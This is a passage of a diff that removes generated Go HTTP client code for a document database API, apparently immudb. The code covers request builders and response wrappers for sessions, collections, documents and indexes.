InsertDocumentsJSONRequestBody) (*http.Request, error) { - var bodyReader io.Reader - buf, err := json.Marshal(body) - if err != nil { - return nil, err - } - bodyReader = bytes.NewReader(buf) - return NewInsertDocumentsRequestWithBody(server, collectionName, "application/json", bodyReader) -} - -// NewInsertDocumentsRequestWithBody generates requests for InsertDocuments with any type of body -func NewInsertDocumentsRequestWithBody(server string, collectionName string, contentType string, body io.Reader) (*http.Request, error) { - var err error - - var pathParam0 string - - pathParam0, err = runtime.StyleParamWithLocation("simple", false, "collectionName", runtime.ParamLocationPath, collectionName) - if err != nil { - return nil, err - } - - serverURL, err := url.Parse(server) - if err != nil { - return nil, err - } - - operationPath := fmt.Sprintf("/collection/%s/documents", pathParam0) - if operationPath[0] == '/' { - operationPath = "." + operationPath - } - - queryURL, err := serverURL.Parse(operationPath) - if err != nil { - return nil, err - } - - req, err := http.NewRequest("POST", queryURL.String(), body) - if err != nil { - return nil, err - } - - req.Header.Add("Content-Type", contentType) - - return req, nil -} - -// NewDeleteDocumentsRequest calls the generic DeleteDocuments builder with application/json body -func NewDeleteDocumentsRequest(server string, collectionName string, body DeleteDocumentsJSONRequestBody) (*http.Request, error) { - var bodyReader io.Reader - buf, err := json.Marshal(body) - if err != nil { - return nil, err - } - bodyReader = bytes.NewReader(buf) - return NewDeleteDocumentsRequestWithBody(server, collectionName, "application/json", bodyReader) -} - -// NewDeleteDocumentsRequestWithBody generates requests for DeleteDocuments with any type of body -func NewDeleteDocumentsRequestWithBody(server string, collectionName string, contentType string, body io.Reader) (*http.Request, error) { - var err error - - var pathParam0 string - - pathParam0, err = runtime.StyleParamWithLocation("simple", false, "collectionName", runtime.ParamLocationPath, collectionName) - if err != nil { - return nil, err - } - - serverURL, err := url.Parse(server) - if err != nil { - return nil, err - } - - operationPath := fmt.Sprintf("/collection/%s/documents/delete", pathParam0) - if operationPath[0] == '/' { - operationPath = "." + operationPath - } - - queryURL, err := serverURL.Parse(operationPath) - if err != nil { - return nil, err - } - - req, err := http.NewRequest("POST", queryURL.String(), body) - if err != nil { - return nil, err - } - - req.Header.Add("Content-Type", contentType) - - return req, nil -} - -// NewReplaceDocumentsRequest calls the generic ReplaceDocuments builder with application/json body -func NewReplaceDocumentsRequest(server string, collectionName string, body ReplaceDocumentsJSONRequestBody) (*http.Request, error) { - var bodyReader io.Reader - buf, err := json.Marshal(body) - if err != nil { - return nil, err - } - bodyReader = bytes.NewReader(buf) - return NewReplaceDocumentsRequestWithBody(server, collectionName, "application/json", bodyReader) -} - -// NewReplaceDocumentsRequestWithBody generates requests for ReplaceDocuments with any type of body -func NewReplaceDocumentsRequestWithBody(server string, collectionName string, contentType string, body io.Reader) (*http.Request, error) { - var err error - - var pathParam0 string - - pathParam0, err = runtime.StyleParamWithLocation("simple", false, "collectionName", runtime.ParamLocationPath, collectionName) - if err != nil { - return nil, err - } - - serverURL, err := url.Parse(server) - if err != nil { - return nil, err - } - - operationPath := fmt.Sprintf("/collection/%s/documents/replace", pathParam0) - if operationPath[0] == '/' { - operationPath = "." + operationPath - } - - queryURL, err := serverURL.Parse(operationPath) - if err != nil { - return nil, err - } - - req, err := http.NewRequest("PUT", queryURL.String(), body) - if err != nil { - return nil, err - } - - req.Header.Add("Content-Type", contentType) - - return req, nil -} - -// NewSearchDocumentsRequest calls the generic SearchDocuments builder with application/json body -func NewSearchDocumentsRequest(server string, collectionName string, body SearchDocumentsJSONRequestBody) (*http.Request, error) { - var bodyReader io.Reader - buf, err := json.Marshal(body) - if err != nil { - return nil, err - } - bodyReader = bytes.NewReader(buf) - return NewSearchDocumentsRequestWithBody(server, collectionName, "application/json", bodyReader) -} - -// NewSearchDocumentsRequestWithBody generates requests for SearchDocuments with any type of body -func NewSearchDocumentsRequestWithBody(server string, collectionName string, contentType string, body io.Reader) (*http.Request, error) { - var err error - - var pathParam0 string - - pathParam0, err = runtime.StyleParamWithLocation("simple", false, "collectionName", runtime.ParamLocationPath, collectionName) - if err != nil { - return nil, err - } - - serverURL, err := url.Parse(server) - if err != nil { - return nil, err - } - - operationPath := fmt.Sprintf("/collection/%s/documents/search", pathParam0) - if operationPath[0] == '/' { - operationPath = "." + operationPath - } - - queryURL, err := serverURL.Parse(operationPath) - if err != nil { - return nil, err - } - - req, err := http.NewRequest("POST", queryURL.String(), body) - if err != nil { - return nil, err - } - - req.Header.Add("Content-Type", contentType) - - return req, nil -} - -// NewDeleteIndexRequest generates requests for DeleteIndex -func NewDeleteIndexRequest(server string, collectionName string, params *DeleteIndexParams) (*http.Request, error) { - var err error - - var pathParam0 string - - pathParam0, err = runtime.StyleParamWithLocation("simple", false, "collectionName", runtime.ParamLocationPath, collectionName) - if err != nil { - return nil, err - } - - serverURL, err := url.Parse(server) - if err != nil { - return nil, err - } - - operationPath := fmt.Sprintf("/collection/%s/index", pathParam0) - if operationPath[0] == '/' { - operationPath = "." + operationPath - } - - queryURL, err := serverURL.Parse(operationPath) - if err != nil { - return nil, err - } - - queryValues := queryURL.Query() - - if params.Fields != nil { - - if queryFrag, err := runtime.StyleParamWithLocation("form", true, "fields", runtime.ParamLocationQuery, *params.Fields); err != nil { - return nil, err - } else if parsed, err := url.ParseQuery(queryFrag); err != nil { - return nil, err - } else { - for k, v := range parsed { - for _, v2 := range v { - queryValues.Add(k, v2) - } - } - } - - } - - queryURL.RawQuery = queryValues.Encode() - - req, err := http.NewRequest("DELETE", queryURL.String(), nil) - if err != nil { - return nil, err - } - - return req, nil -} - -// NewCreateIndexRequest calls the generic CreateIndex builder with application/json body -func NewCreateIndexRequest(server string, collectionName string, body CreateIndexJSONRequestBody) (*http.Request, error) { - var bodyReader io.Reader - buf, err := json.Marshal(body) - if err != nil { - return nil, err - } - bodyReader = bytes.NewReader(buf) - return NewCreateIndexRequestWithBody(server, collectionName, "application/json", bodyReader) -} - -// NewCreateIndexRequestWithBody generates requests for CreateIndex with any type of body -func NewCreateIndexRequestWithBody(server string, collectionName string, contentType string, body io.Reader) (*http.Request, error) { - var err error - - var pathParam0 string - - pathParam0, err = runtime.StyleParamWithLocation("simple", false, "collectionName", runtime.ParamLocationPath, collectionName) - if err != nil { - return nil, err - } - - serverURL, err := url.Parse(server) - if err != nil { - return nil, err - } - - operationPath := fmt.Sprintf("/collection/%s/index", pathParam0) - if operationPath[0] == '/' { - operationPath = "." + operationPath - } - - queryURL, err := serverURL.Parse(operationPath) - if err != nil { - return nil, err - } - - req, err := http.NewRequest("POST", queryURL.String(), body) - if err != nil { - return nil, err - } - - req.Header.Add("Content-Type", contentType) - - return req, nil -} - -// NewDeleteCollectionRequest generates requests for DeleteCollection -func NewDeleteCollectionRequest(server string, name string) (*http.Request, error) { - var err error - - var pathParam0 string - - pathParam0, err = runtime.StyleParamWithLocation("simple", false, "name", runtime.ParamLocationPath, name) - if err != nil { - return nil, err - } - - serverURL, err := url.Parse(server) - if err != nil { - return nil, err - } - - operationPath := fmt.Sprintf("/collection/%s", pathParam0) - if operationPath[0] == '/' { - operationPath = "." + operationPath - } - - queryURL, err := serverURL.Parse(operationPath) - if err != nil { - return nil, err - } - - req, err := http.NewRequest("DELETE", queryURL.String(), nil) - if err != nil { - return nil, err - } - - return req, nil -} - -// NewGetCollectionRequest generates requests for GetCollection -func NewGetCollectionRequest(server string, name string) (*http.Request, error) { - var err error - - var pathParam0 string - - pathParam0, err = runtime.StyleParamWithLocation("simple", false, "name", runtime.ParamLocationPath, name) - if err != nil { - return nil, err - } - - serverURL, err := url.Parse(server) - if err != nil { - return nil, err - } - - operationPath := fmt.Sprintf("/collection/%s", pathParam0) - if operationPath[0] == '/' { - operationPath = "." + operationPath - } - - queryURL, err := serverURL.Parse(operationPath) - if err != nil { - return nil, err - } - - req, err := http.NewRequest("GET", queryURL.String(), nil) - if err != nil { - return nil, err - } - - return req, nil -} - -// NewCreateCollectionRequest calls the generic CreateCollection builder with application/json body -func NewCreateCollectionRequest(server string, name string, body CreateCollectionJSONRequestBody) (*http.Request, error) { - var bodyReader io.Reader - buf, err := json.Marshal(body) - if err != nil { - return nil, err - } - bodyReader = bytes.NewReader(buf) - return NewCreateCollectionRequestWithBody(server, name, "application/json", bodyReader) -} - -// NewCreateCollectionRequestWithBody generates requests for CreateCollection with any type of body -func NewCreateCollectionRequestWithBody(server string, name string, contentType string, body io.Reader) (*http.Request, error) { - var err error - - var pathParam0 string - - pathParam0, err = runtime.StyleParamWithLocation("simple", false, "name", runtime.ParamLocationPath, name) - if err != nil { - return nil, err - } - - serverURL, err := url.Parse(server) - if err != nil { - return nil, err - } - - operationPath := fmt.Sprintf("/collection/%s", pathParam0) - if operationPath[0] == '/' { - operationPath = "." + operationPath - } - - queryURL, err := serverURL.Parse(operationPath) - if err != nil { - return nil, err - } - - req, err := http.NewRequest("POST", queryURL.String(), body) - if err != nil { - return nil, err - } - - req.Header.Add("Content-Type", contentType) - - return req, nil -} - -// NewUpdateCollectionRequest calls the generic UpdateCollection builder with application/json body -func NewUpdateCollectionRequest(server string, name string, body UpdateCollectionJSONRequestBody) (*http.Request, error) { - var bodyReader io.Reader - buf, err := json.Marshal(body) - if err != nil { - return nil, err - } - bodyReader = bytes.NewReader(buf) - return NewUpdateCollectionRequestWithBody(server, name, "application/json", bodyReader) -} - -// NewUpdateCollectionRequestWithBody generates requests for UpdateCollection with any type of body -func NewUpdateCollectionRequestWithBody(server string, name string, contentType string, body io.Reader) (*http.Request, error) { - var err error - - var pathParam0 string - - pathParam0, err = runtime.StyleParamWithLocation("simple", false, "name", runtime.ParamLocationPath, name) - if err != nil { - return nil, err - } - - serverURL, err := url.Parse(server) - if err != nil { - return nil, err - } - - operationPath := fmt.Sprintf("/collection/%s", pathParam0) - if operationPath[0] == '/' { - operationPath = "." + operationPath - } - - queryURL, err := serverURL.Parse(operationPath) - if err != nil { - return nil, err - } - - req, err := http.NewRequest("PUT", queryURL.String(), body) - if err != nil { - return nil, err - } - - req.Header.Add("Content-Type", contentType) - - return req, nil -} - -// NewGetCollectionsRequest generates requests for GetCollections -func NewGetCollectionsRequest(server string) (*http.Request, error) { - var err error - - serverURL, err := url.Parse(server) - if err != nil { - return nil, err - } - - operationPath := fmt.Sprintf("/collections") - if operationPath[0] == '/' { - operationPath = "." + operationPath - } - - queryURL, err := serverURL.Parse(operationPath) - if err != nil { - return nil, err - } - - req, err := http.NewRequest("GET", queryURL.String(), nil) - if err != nil { - return nil, err - } - - return req, nil -} - -func (c *Client) applyEditors(ctx context.Context, req *http.Request, additionalEditors []RequestEditorFn) error { - for _, r := range c.RequestEditors { - if err := r(ctx, req); err != nil { - return err - } - } - for _, r := range additionalEditors { - if err := r(ctx, req); err != nil { - return err - } - } - return nil -} - -// ClientWithResponses builds on ClientInterface to offer response payloads -type ClientWithResponses struct { - ClientInterface -} - -// NewClientWithResponses creates a new ClientWithResponses, which wraps -// Client with return type handling -func NewClientWithResponses(server string, opts ...ClientOption) (*ClientWithResponses, error) { - client, err := NewClient(server, opts...) - if err != nil { - return nil, err - } - return &ClientWithResponses{client}, nil -} - -// WithBaseURL overrides the baseURL. -func WithBaseURL(baseURL string) ClientOption { - return func(c *Client) error { - newBaseURL, err := url.Parse(baseURL) - if err != nil { - return err - } - c.Server = newBaseURL.String() - return nil - } -} - -// ClientWithResponsesInterface is the interface specification for the client with responses above. -type ClientWithResponsesInterface interface { - // CloseSession request with any body - CloseSessionWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*CloseSessionResponse, error) - - CloseSessionWithResponse(ctx context.Context, body CloseSessionJSONRequestBody, reqEditors ...RequestEditorFn) (*CloseSessionResponse, error) - - // KeepAlive request with any body - KeepAliveWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*KeepAliveResponse, error) - - KeepAliveWithResponse(ctx context.Context, body KeepAliveJSONRequestBody, reqEditors ...RequestEditorFn) (*KeepAliveResponse, error) - - // OpenSession request with any body - OpenSessionWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*OpenSessionResponse, error) - - OpenSessionWithResponse(ctx context.Context, body OpenSessionJSONRequestBody, reqEditors ...RequestEditorFn) (*OpenSessionResponse, error) - - // SearchDocumentsWith request with any body - SearchDocumentsWithWithBodyWithResponse(ctx context.Context, searchId string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*SearchDocumentsWithResponse, error) - - SearchDocumentsWithWithResponse(ctx context.Context, searchId string, body SearchDocumentsWithJSONRequestBody, reqEditors ...RequestEditorFn) (*SearchDocumentsWithResponse, error) - - // AuditDocument request with any body - AuditDocumentWithBodyWithResponse(ctx context.Context, collectionName string, documentId string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*AuditDocumentResponse, error) - - AuditDocumentWithResponse(ctx context.Context, collectionName string, documentId string, body AuditDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*AuditDocumentResponse, error) - - // ProofDocument request with any body - ProofDocumentWithBodyWithResponse(ctx context.Context, collectionName string, documentId string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*ProofDocumentResponse, error) - - ProofDocumentWithResponse(ctx context.Context, collectionName string, documentId string, body ProofDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*ProofDocumentResponse, error) - - // InsertDocuments request with any body - InsertDocumentsWithBodyWithResponse(ctx context.Context, collectionName string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*InsertDocumentsResponse, error) - - InsertDocumentsWithResponse(ctx context.Context, collectionName string, body InsertDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*InsertDocumentsResponse, error) - - // DeleteDocuments request with any body - DeleteDocumentsWithBodyWithResponse(ctx context.Context, collectionName string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DeleteDocumentsResponse, error) - - DeleteDocumentsWithResponse(ctx context.Context, collectionName string, body DeleteDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*DeleteDocumentsResponse, error) - - // ReplaceDocuments request with any body - ReplaceDocumentsWithBodyWithResponse(ctx context.Context, collectionName string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*ReplaceDocumentsResponse, error) - - ReplaceDocumentsWithResponse(ctx context.Context, collectionName string, body ReplaceDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*ReplaceDocumentsResponse, error) - - // SearchDocuments request with any body - SearchDocumentsWithBodyWithResponse(ctx context.Context, collectionName string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*SearchDocumentsResponse, error) - - SearchDocumentsWithResponse(ctx context.Context, collectionName string, body SearchDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*SearchDocumentsResponse, error) - - // DeleteIndex request - DeleteIndexWithResponse(ctx context.Context, collectionName string, params *DeleteIndexParams, reqEditors ...RequestEditorFn) (*DeleteIndexResponse, error) - - // CreateIndex request with any body - CreateIndexWithBodyWithResponse(ctx context.Context, collectionName string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*CreateIndexResponse, error) - - CreateIndexWithResponse(ctx context.Context, collectionName string, body CreateIndexJSONRequestBody, reqEditors ...RequestEditorFn) (*CreateIndexResponse, error) - - // DeleteCollection request - DeleteCollectionWithResponse(ctx context.Context, name string, reqEditors ...RequestEditorFn) (*DeleteCollectionResponse, error) - - // GetCollection request - GetCollectionWithResponse(ctx context.Context, name string, reqEditors ...RequestEditorFn) (*GetCollectionResponse, error) - - // CreateCollection request with any body - CreateCollectionWithBodyWithResponse(ctx context.Context, name string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*CreateCollectionResponse, error) - - CreateCollectionWithResponse(ctx context.Context, name string, body CreateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*CreateCollectionResponse, error) - - // UpdateCollection request with any body - UpdateCollectionWithBodyWithResponse(ctx context.Context, name string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*UpdateCollectionResponse, error) - - UpdateCollectionWithResponse(ctx context.Context, name string, body UpdateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*UpdateCollectionResponse, error) - - // GetCollections request - GetCollectionsWithResponse(ctx context.Context, reqEditors ...RequestEditorFn) (*GetCollectionsResponse, error) -} - -type CloseSessionResponse struct { - Body []byte - HTTPResponse *http.Response - JSON200 *ModelCloseSessionResponse - JSONDefault *RuntimeError -} - -// Status returns HTTPResponse.Status -func (r CloseSessionResponse) Status() string { - if r.HTTPResponse != nil { - return r.HTTPResponse.Status - } - return http.StatusText(0) -} - -// StatusCode returns HTTPResponse.StatusCode -func (r CloseSessionResponse) StatusCode() int { - if r.HTTPResponse != nil { - return r.HTTPResponse.StatusCode - } - return 0 -} - -type KeepAliveResponse struct { - Body []byte - HTTPResponse *http.Response - JSON200 *ModelKeepAliveResponse - JSONDefault *RuntimeError -} - -// Status returns HTTPResponse.Status -func (r KeepAliveResponse) Status() string { - if r.HTTPResponse != nil { - return r.HTTPResponse.Status - } - return http.StatusText(0) -} - -// StatusCode returns HTTPResponse.StatusCode -func (r KeepAliveResponse) StatusCode() int { - if r.HTTPResponse != nil { - return r.HTTPResponse.StatusCode - } - return 0 -} - -type OpenSessionResponse struct { - Body []byte - HTTPResponse *http.Response - JSON200 *ImmudbmodelOpenSessionResponse - JSONDefault *RuntimeError -} - -// Status returns HTTPResponse.Status -func (r OpenSessionResponse) Status() string { - if r.HTTPResponse != nil { - return r.HTTPResponse.Status - } - return http.StatusText(0) -} - -// StatusCode returns HTTPResponse.StatusCode -func (r OpenSessionResponse) StatusCode() int { - if r.HTTPResponse != nil { - return r.HTTPResponse.StatusCode - } - return 0 -} - -type SearchDocumentsWithResponse struct { - Body []byte - HTTPResponse *http.Response - JSON200 *ModelSearchDocumentsResponse - JSONDefault *RuntimeError -} - -// Status returns HTTPResponse.Status -func (r SearchDocumentsWithResponse) Status() string { - if r.HTTPResponse != nil { - return r.HTTPResponse.Status - } - return http.StatusText(0) -} - -// StatusCode returns HTTPResponse.StatusCode -func (r SearchDocumentsWithResponse) StatusCode() int { - if r.HTTPResponse != nil { - return r.HTTPResponse.StatusCode - } - return 0 -} - -type AuditDocumentResponse struct { - Body []byte - HTTPResponse *http.Response - JSON200 *ModelAuditDocumentResponse - JSONDefault *RuntimeError -} - -// Status returns HTTPResponse.Status -func (r AuditDocumentResponse) Status() string { - if r.HTTPResponse != nil { - return r.HTTPResponse.Status - } - return http.StatusText(0) -} - -// StatusCode returns HTTPResponse.StatusCode -func (r AuditDocumentResponse) StatusCode() int { - if r.HTTPResponse != nil { - return r.HTTPResponse.StatusCode - } - return 0 -} - -type ProofDocumentResponse struct { - Body []byte - HTTPResponse *http.Response - JSON200 *ModelProofDocumentResponse - JSONDefault *RuntimeError -} - -// Status returns HTTPResponse.Status -func (r ProofDocumentResponse) Status() string { - if r.HTTPResponse != nil { - return r.HTTPResponse.Status - } - return http.StatusText(0) -} - -// StatusCode returns HTTPResponse.StatusCode -func (r ProofDocumentResponse) StatusCode() int { - if r.HTTPResponse != nil { - return r.HTTPResponse.StatusCode - } - return 0 -} - -type InsertDocumentsResponse struct { - Body []byte - HTTPResponse *http.Response - JSON200 *ModelInsertDocumentsResponse - JSONDefault *RuntimeError -} - -// Status returns HTTPResponse.Status -func (r InsertDocumentsResponse) Status() string { - if r.HTTPResponse != nil { - return r.HTTPResponse.Status - } - return http.StatusText(0) -} - -// StatusCode returns HTTPResponse.StatusCode -func (r InsertDocumentsResponse) StatusCode() int { - if r.HTTPResponse != nil { - return r.HTTPResponse.StatusCode - } - return 0 -} - -type DeleteDocumentsResponse struct { - Body []byte - HTTPResponse *http.Response - JSON200 *ModelDeleteDocumentsResponse - JSONDefault *RuntimeError -} - -// Status returns HTTPResponse.Status -func (r DeleteDocumentsResponse) Status() string { - if r.HTTPResponse != nil { - return r.HTTPResponse.Status - } - return http.StatusText(0) -} - -// StatusCode returns HTTPResponse.StatusCode -func (r DeleteDocumentsResponse) StatusCode() int { - if r.HTTPResponse != nil { - return r.HTTPResponse.StatusCode - } - return 0 -} - -type ReplaceDocumentsResponse struct { - Body []byte - HTTPResponse *http.Response - JSON200 *ModelReplaceDocumentsResponse - JSONDefault *RuntimeError -} - -// Status returns HTTPResponse.Status -func (r ReplaceDocumentsResponse) Status() string { - if r.HTTPResponse != nil { - return r.HTTPResponse.Status - } - return http.StatusText(0) -} - -// StatusCode returns HTTPResponse.StatusCode -func (r ReplaceDocumentsResponse) StatusCode() int { - if r.HTTPResponse != nil { - return r.HTTPResponse.StatusCode - } - return 0 -} - -type SearchDocumentsResponse struct { - Body []byte - HTTPResponse *http.Response - JSON200 *ModelSearchDocumentsResponse - JSONDefault *RuntimeError -} - -// Status returns HTTPResponse.Status -func (r SearchDocumentsResponse) Status() string { - if r.HTTPResponse != nil { - return r.HTTPResponse.Status - } - return http.StatusText(0) -} - -// StatusCode returns HTTPResponse.StatusCode -func (r SearchDocumentsResponse) StatusCode() int { - if r.HTTPResponse != nil { - return r.HTTPResponse.StatusCode - } - return 0 -} - -type DeleteIndexResponse struct { - Body []byte - HTTPResponse *http.Response - JSON200 *ModelDeleteIndexResponse - JSONDefault *RuntimeError -} - -// Status returns HTTPResponse.Status -func (r DeleteIndexResponse) Status() string { - if r.HTTPResponse != nil { - return r.HTTPResponse.Status - } - return http.StatusText(0) -} - -// StatusCode returns HTTPResponse.StatusCode -func (r DeleteIndexResponse) StatusCode() int { - if r.HTTPResponse != nil { - return r.HTTPResponse.StatusCode - } - return 0 -} - -type CreateIndexResponse struct { - Body []byte - HTTPResponse *http.Response - JSON200 *ModelCreateIndexResponse - JSONDefault *RuntimeError -} - -// Status returns HTTPResponse.Status -func (r CreateIndexResponse) Status() string { - if r.HTTPResponse != nil { - return r.HTTPResponse.Status - } - return http.StatusText(0) -} - -// StatusCode returns HTTPResponse.StatusCode -func (r CreateIndexResponse) StatusCode() int { - if r.HTTPResponse != nil { - return r.HTTPResponse.StatusCode - } - return 0 -} - -type DeleteCollectionResponse struct { - Body []byte - HTTPResponse *http.Response - JSON200 *ModelDeleteCollectionResponse - JSONDefault *RuntimeError -} - -// Status returns HTTPResponse.Status -func (r DeleteCollectionResponse) Status() string { - if r.HTTPResponse != nil { - return r.HTTPResponse.Status - } - return http.StatusText(0) -} - -// StatusCode returns HTTPResponse.StatusCode -func (r DeleteCollectionResponse) StatusCode() int { - if r.HTTPResponse != nil { - return r.HTTPResponse.StatusCode - } - return 0 -} - -type GetCollectionResponse struct { - Body []byte - HTTPResponse *http.Response - JSON200 *ModelGetCollectionResponse - JSONDefault *RuntimeError -} - -// Status returns HTTPResponse.Status -func (r GetCollectionResponse) Status() string { - if r.HTTPResponse != nil { - return r.HTTPResponse.Status - } - return http.StatusText(0) -} - -// StatusCode returns HTTPResponse.StatusCode -func (r GetCollectionResponse) StatusCode() int { - if r.HTTPResponse != nil { - return r.HTTPResponse.StatusCode - } - return 0 -} - -type CreateCollectionResponse struct { - Body []byte - HTTPResponse *http.Response - JSON200 *ModelCreateCollectionResponse - JSONDefault *RuntimeError -} - -// Status returns HTTPResponse.Status -func (r CreateCollectionResponse) Status() string { - if r.HTTPResponse != nil { - return r.HTTPResponse.Status - } - return http.StatusText(0) -} - -// StatusCode returns HTTPResponse.StatusCode -func (r CreateCollectionResponse) StatusCode() int { - if r.HTTPResponse != nil { - return r.HTTPResponse.StatusCode - } - return 0 -} - -type UpdateCollectionResponse struct { - Body []byte - HTTPResponse *http.Response - JSON200 *ModelUpdateCollectionResponse - JSONDefault *RuntimeError -} - -// Status returns HTTPResponse.Status -func (r UpdateCollectionResponse) Status() string { - if r.HTTPResponse != nil { - return r.HTTPResponse.Status - } - return http.StatusText(0) -} - -// StatusCode returns HTTPResponse.StatusCode -func (r UpdateCollectionResponse) StatusCode() int { - if r.HTTPResponse != nil { - return r.HTTPResponse.StatusCode - } - return 0 -} - -type GetCollectionsResponse struct { - Body []byte - HTTPResponse *http.Response - JSON200 *ModelGetCollectionsResponse - JSONDefault *RuntimeError -} - -// Status returns HTTPResponse.Status -func (r GetCollectionsResponse) Status() string { - if r.HTTPResponse != nil { - return r.HTTPResponse.Status - } - return http.StatusText(0) -} - -// StatusCode returns HTTPResponse.StatusCode -func (r GetCollectionsResponse) StatusCode() int { - if r.HTTPResponse != nil { - return r.HTTPResponse.StatusCode - } - return 0 -} - -// CloseSessionWithBodyWithResponse request with arbitrary body returning *CloseSessionResponse -func (c *ClientWithResponses) CloseSessionWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*CloseSessionResponse, error) { - rsp, err := c.CloseSessionWithBody(ctx, contentType, body, reqEditors...) - if err != nil { - return nil, err - } - return ParseCloseSessionResponse(rsp) -} - -func (c *ClientWithResponses) CloseSessionWithResponse(ctx context.Context, body CloseSessionJSONRequestBody, reqEditors ...RequestEditorFn) (*CloseSessionResponse, error) { - rsp, err := c.CloseSession(ctx, body, reqEditors...) - if err != nil { - return nil, err - } - return ParseCloseSessionResponse(rsp) -} - -// KeepAliveWithBodyWithResponse request with arbitrary body returning *KeepAliveResponse -func (c *ClientWithResponses) KeepAliveWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*KeepAliveResponse, error) { - rsp, err := c.KeepAliveWithBody(ctx, contentType, body, reqEditors...) - if err != nil { - return nil, err - } - return ParseKeepAliveResponse(rsp) -} - -func (c *ClientWithResponses) KeepAliveWithResponse(ctx context.Context, body KeepAliveJSONRequestBody, reqEditors ...RequestEditorFn) (*KeepAliveResponse, error) { - rsp, err := c.KeepAlive(ctx, body, reqEditors...) - if err != nil { - return nil, err - } - return ParseKeepAliveResponse(rsp) -} - -// OpenSessionWithBodyWithResponse request with arbitrary body returning *OpenSessionResponse -func (c *ClientWithResponses) OpenSessionWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*OpenSessionResponse, error) { - rsp, err := c.OpenSessionWithBody(ctx, contentType, body, reqEditors...) - if err != nil { - return nil, err - } - return ParseOpenSessionResponse(rsp) -} - -func (c *ClientWithResponses) OpenSessionWithResponse(ctx context.Context, body OpenSessionJSONRequestBody, reqEditors ...RequestEditorFn) (*OpenSessionResponse, error) { - rsp, err := c.OpenSession(ctx, body, reqEditors...) - if err != nil { - return nil, err - } - return ParseOpenSessionResponse(rsp) -} - -// SearchDocumentsWithWithBodyWithResponse request with arbitrary body returning *SearchDocumentsWithResponse -func (c *ClientWithResponses) SearchDocumentsWithWithBodyWithResponse(ctx context.Context, searchId string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*SearchDocumentsWithResponse, error) { - rsp, err := c.SearchDocumentsWithWithBody(ctx, searchId, contentType, body, reqEditors...) - if err != nil { - return nil, err - } - return ParseSearchDocumentsWithResponse(rsp) -} - -func (c *ClientWithResponses) SearchDocumentsWithWithResponse(ctx context.Context, searchId string, body SearchDocumentsWithJSONRequestBody, reqEditors ...RequestEditorFn) (*SearchDocumentsWithResponse, error) { - rsp, err := c.SearchDocumentsWith(ctx, searchId, body, reqEditors...) - if err != nil { - return nil, err - } - return ParseSearchDocumentsWithResponse(rsp) -} - -// AuditDocumentWithBodyWithResponse request with arbitrary body returning *AuditDocumentResponse -func (c *ClientWithResponses) AuditDocumentWithBodyWithResponse(ctx context.Context, collectionName string, documentId string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*AuditDocumentResponse, error) { - rsp, err := c.AuditDocumentWithBody(ctx, collectionName, documentId, contentType, body, reqEditors...) - if err != nil { - return nil, err - } - return ParseAuditDocumentResponse(rsp) -} - -func (c *ClientWithResponses) AuditDocumentWithResponse(ctx context.Context, collectionName string, documentId string, body AuditDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*AuditDocumentResponse, error) { - rsp, err := c.AuditDocument(ctx, collectionName, documentId, body, reqEditors...) - if err != nil { - return nil, err - } - return ParseAuditDocumentResponse(rsp) -} - -// ProofDocumentWithBodyWithResponse request with arbitrary body returning *ProofDocumentResponse -func (c *ClientWithResponses) ProofDocumentWithBodyWithResponse(ctx context.Context, collectionName string, documentId string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*ProofDocumentResponse, error) { - rsp, err := c.ProofDocumentWithBody(ctx, collectionName, documentId, contentType, body, reqEditors...) - if err != nil { - return nil, err - } - return ParseProofDocumentResponse(rsp) -} - -func (c *ClientWithResponses) ProofDocumentWithResponse(ctx context.Context, collectionName string, documentId string, body ProofDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*ProofDocumentResponse, error) { - rsp, err := c.ProofDocument(ctx, collectionName, documentId, body, reqEditors...) - if err != nil { - return nil, err - } - return ParseProofDocumentResponse(rsp) -} - -// InsertDocumentsWithBodyWithResponse request with arbitrary body returning *InsertDocumentsResponse -func (c *ClientWithResponses) InsertDocumentsWithBodyWithResponse(ctx context.Context, collectionName string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*InsertDocumentsResponse, error) { - rsp, err := c.InsertDocumentsWithBody(ctx, collectionName, contentType, body, reqEditors...) - if err != nil { - return nil, err - } - return ParseInsertDocumentsResponse(rsp) -} - -func (c *ClientWithResponses) InsertDocumentsWithResponse(ctx context.Context, collectionName string, body InsertDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*InsertDocumentsResponse, error) { - rsp, err := c.InsertDocuments(ctx, collectionName, body, reqEditors...) - if err != nil { - return nil, err - } - return ParseInsertDocumentsResponse(rsp) -} - -// DeleteDocumentsWithBodyWithResponse request with arbitrary body returning *DeleteDocumentsResponse -func (c *ClientWithResponses) DeleteDocumentsWithBodyWithResponse(ctx context.Context, collectionName string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DeleteDocumentsResponse, error) { - rsp, err := 